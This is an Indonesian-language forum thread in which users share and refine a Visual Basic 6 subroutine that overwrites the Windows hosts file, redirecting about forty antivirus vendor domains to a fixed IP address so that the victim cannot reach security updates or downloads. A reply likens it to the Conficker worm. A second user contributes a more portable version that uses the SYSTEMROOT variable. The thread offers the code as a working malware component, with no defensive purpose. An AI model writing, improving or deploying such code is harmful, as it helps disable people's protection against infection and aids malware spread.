sample kode vb6 - sub modifikasi hosts buat blokir web anti virus

[mywisdom]

oh iya makasih bet buat om ag0y yg udah kritis, ane ada sedikit kesalahan teknis Open "C:\Windows\System32\drivers\etc\hosts.txt" For Output As #2
harusnya yg bener Open "C:\Windows\System32\drivers\etc\hosts" For Output As #2 jadi hosts aja ga pake ekstensim makasih bet buat koreksinya

cara pake :

call modifikasi_h0st

Code:

Sub modifikasi_h0st()
On Error Resume Next
Dim h0st(1 To 40) As String
h0st(1) = "avira.com"
h0st(2) = "www.avira.com"
h0st(3) = "avg.com"
h0st(4) = "free.avg.com"
h0st(5) = "www.avg.com"
h0st(6) = "www.avast.com"
h0st(7) = "avast.com"
h0st(8) = "clamav.net"
h0st(9) = "www.clamav.net"
h0st(10) = "www.drweb-online.com"
h0st(11) = "drweb-online.com"
h0st(12) = "www.eset.com"
h0st(13) = "eset.com"
h0st(14) = "www.ikarus.at"
h0st(15) = "ikarus.at"
h0st(16) = "www.mcafee.com"
h0st(17) = "mcafee.com"
h0st(18) = "www.f-prot.com"
h0st(19) = "f-prot.com"
h0st(20) = "www.artav-antivirus.com"
h0st(21) = "artav-antivirus.com"
h0st(22) = "smadav.net"
h0st(23) = "www.smadav.net"
h0st(24) = "antivirus.comodo.com"
h0st(25) = "www.comodo.com"
h0st(26) = "comodo.com"
h0st(27) = "www.bitdefender.com"
h0st(28) = "bitdefender.com"
h0st(29) = "www.kaspersky.com"
h0st(30) = "kaspersky.com"
h0st(31) = "www.norman.com"
h0st(32) = "norman.com"
h0st(33) = "www.pandasecurity.com"
h0st(34) = "pandasecurity.com"
h0st(35) = "www.sophos.com"
h0st(36) = "sophos.com"
h0st(37) = "www.symantec.com"
h0st(38) = "symantec.com"
h0st(39) = "us.trendmicro.com"
h0st(40) = "www.trendmicro.com"

For i = 1 To 40
domblokir = h0st(i)
gunaguna = gunaguna & "77.78.103.36  " & domblokir & vbCrLf
Next

Open "C:\Windows\System32\drivers\etc\hosts" For Output As #2
Print #2, gunaguna & vbCrLf
Close #2
End Sub

[Emily.Josan♫]

pernah mrsakan .. tapi dimana ya??

tapi

[mariachi]

wah bisa bikin conficker season 2 nich

[Qrembiezs]

ada 40 host ... pa ga berat nti pas waktu melakuakan scan utk dumbblock nya

[ag0y]

maaf om bukannya sok tau
tapi setau ane, nama filenya hosts (ga pake extension)
tepatnya disini

Code:

C:\Windows\System32\drivers\etc\hosts

sekalian ikut nambahin nih om
sebaiknya pake environtment variable aja, karena ga semua pake drive C:\ sebagai drive utama
bisa aja filenya ada di D:\WINDOWS\System32\Drivers\etc\hosts atau drive lainnya
pake environtment variable SYSTEMROOT atau WINDIR hasilnya sama2 akan mengembalikan lokasi folder WINDOWS

ane modif jadi gini

Code:

Sub modifikasi_h0st()
On Error Resume Next
Dim h0st(1 To 40) As String
h0st(1) = "avira.com"
h0st(2) = "www.avira.com"
h0st(3) = "avg.com"
h0st(4) = "free.avg.com"
h0st(5) = "www.avg.com"
h0st(6) = "www.avast.com"
h0st(7) = "avast.com"
h0st(8) = "clamav.net"
h0st(9) = "www.clamav.net"
h0st(10) = "www.drweb-online.com"
h0st(11) = "drweb-online.com"
h0st(12) = "www.eset.com"
h0st(13) = "eset.com"
h0st(14) = "www.ikarus.at"
h0st(15) = "ikarus.at"
h0st(16) = "www.mcafee.com"
h0st(17) = "mcafee.com"
h0st(18) = "www.f-prot.com"
h0st(19) = "f-prot.com"
h0st(20) = "www.artav-antivirus.com"
h0st(21) = "artav-antivirus.com"
h0st(22) = "smadav.net"
h0st(23) = "www.smadav.net"
h0st(24) = "antivirus.comodo.com"
h0st(25) = "www.comodo.com"
h0st(26) = "comodo.com"
h0st(27) = "www.bitdefender.com"
h0st(28) = "bitdefender.com"
h0st(29) = "www.kaspersky.com"
h0st(30) = "kaspersky.com"
h0st(31) = "www.norman.com"
h0st(32) = "norman.com"
h0st(33) = "www.pandasecurity.com"
h0st(34) = "pandasecurity.com"
h0st(35) = "www.sophos.com"
h0st(36) = "sophos.com"
h0st(37) = "www.symantec.com"
h0st(38) = "symantec.com"
h0st(39) = "us.trendmicro.com"
h0st(40) = "www.trendmicro.com"

Dim FolderTarget As String
FolderTarget = Env("SYSTEMROOT") 'bisa juga pake Env("WINDIR")

For i = 1 To 40
domblokir = h0st(i)
gunaguna = gunaguna & "77.78.103.36  " & domblokir & vbCrLf
Next

Open FolderTarget & "\System32\drivers\etc\hosts" For Output As #2
Print #2, gunaguna & vbCrLf
Close #2
End Sub

[ev1lut10n]

asik om kritis nah gitu ane suka yg kritis2 gitu